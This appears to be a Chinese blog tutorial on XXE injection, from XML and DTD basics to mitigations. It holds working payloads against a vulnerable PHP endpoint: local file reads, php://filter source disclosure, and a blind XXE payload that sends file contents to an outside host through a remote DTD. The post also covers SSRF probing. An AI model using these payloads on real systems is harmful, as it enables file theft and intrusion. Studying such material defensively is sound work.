0x01 前言

基础漏洞梳理

0x02 概念

XML基础概念

XML(Extensible Markup Language)被设计用来传输和存储数据

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种标记语言,很类似 HTML
  • XML 的设计宗旨是传输数据,而非显示数据
  • XML 标签没有被预定义。您需要自行定义标签
  • XML 被设计为具有自我描述性
  • XML 是 W3C 的推荐标准

与HTML(超文本标记语言)不同的是,XML与HTML不属于替代关系,而是各司其职,XML被设计为传输和存储数据,焦点是数据的内容。而HTML被设计用来显示数据,焦点是数据的外观。HTML旨在显示信息,XML旨在传输信息。

XML没有任何行为,它仅仅是一串带着信息的纯文本,用于存储或传递规定好的信息。

XML可以自由定义标签,只需在解析函数写清楚标签代表的含义即可成功解析。

比如我想定义一个书库,里面有书,每本书有相应的信息

在上面代码中的第一行,定义XML的版本与编码。

在XML文档中,所有的元素都必须正确的嵌套,形成树状结构。并且整个XML文档中必须要有一个根元素。如上面的代码,<bookstore>是整个文档的根元素。嵌套在bookstroe标签中的<book>、<name>、<author>、<year>、<price>、<language>则是根的子元素。

同样的,所有的XML元素都必须有关闭标签,这点不像html语法那样松散。如果缺失关闭标签,则会导致XML解析失败。

实体

所有的XML文档都由五种简单的构建模块(元素、属性、实体、PCDATA CDATA 已解析的字符数据和不被解析的标签 )构成。这里介绍一下实体:实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或者外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的。

实体类型

XML实体分为四种:字符实体,命名实体,外部实体,参数实体。

文档类型定义:DTD

wiki百科关于这项的描述是:The XML DTD syntax is one of several XML schema languages。简单的说,DTD的作用是定义XML文档的合法构建模块。如前所述,实体也是构建模块之一。因此可以利用DTD来内部或外部引入实体。

其基本格式为:
<!DOCTYPE 根元素名 [ 元素描述 ]>

内部引入

格式:
<!ENTITY 实体名称 "实体的值">

将DTD和XML放在同一份文档中,利用DTD定义的实体即为内部实体。

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE xxe [      <!ENTITY  chybeta  "Hello World!">    ]>  <xxe>      
&chybeta;
</xxe>

访问该XML文档,&chybeta;会被解析为Hello World!并输出。

外部引入

基本格式:
<!ENTITY 实体名称 SYSTEM "URI">

通过引用定义在外部的DTD中的实体,我们称之位外部实体。

由于xxe漏洞主要利用的是外部实体,所以这里暂不展开。具体实例如下。

0x03 利用

xxe注入

index.php

<?php  $xml=simplexml_load_string($_GET['xml']);  print_r((string)$xml);?>

读取本地文件

利用各种协议可以读取文件。比如file协议,这里的测试环境为win,所以这里我选择读取c盘里的config.ini文件。

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY  file SYSTEM "file:///c://config.ini">]><root>&file;</root>

将上述代码url编码后发送(不进行url编码无法解析),即可读取文件。

如果要读取php文件,由于php和html文件存在尖括号,所以直接用file协议会解析错误,所以可以使用php://filter伪协议将内容转换为base64后再读取。

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY  file SYSTEM "php://filter/convert.base64-encode/resource=E:/Program/php/PHPTutorial/WWW/ssrf.php">]><root>&file;</root>

然后decode base64即可

命令执行

php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。这里暂不进行测试。

内网探测/SSRF

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

同样可以进行端口探测等操作。

blind xxe

我们将php文件中的print去掉,这样就变为了盲xxe。

<?php  $xml=simplexml_load_string($_GET['xml']);?>

读取本地文件

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [<!ENTITY % file SYSTEM "file:///E:/Program/php/PHPTutorial/WWW/test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.150.131/xxe.xml">%dtd; %all;]><value>&send;</value>

这里的加粗部分是你的vps地址,我由于vps未安装apache,所以本地实现。

我在192.168.150.131的html目录下的xxe.xml文件写入:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.131/%file;'>">

测试文件内容为:

整个的调用过程如下:解析时%dtd引入xxe.xml,之后%all引入send的定义,最后引用了实体send,把%file文件内容通过一个http请求发了出去。注意需要把payload经过url编码。查看vps上的access.log:

若要读取php等文件,同样需要先经过base64加密下。

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data [<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php"><!ENTITY % dtd SYSTEM "http://192.168.150.131/xxe.xml">%dtd; %all;]><value>&send;</value>

这里其实在输出的时候会导致php报错,报错会将信息显示出来,所以如果在未关闭报错的时候也可以直接使用。

0x04 修复方法

1、禁止加载外部实体;
2、不允许XML中含有任何自己声明的DTD

0x05 结语

end!

参考:
https://chybeta.github.io/2017/07/04/%E5%B0%8F%E8%AF%95XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/
https://www.cnblogs.com/deng-cc/p/6349107.html
https://blog.csdn.net/oscarli/article/details/94735001

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注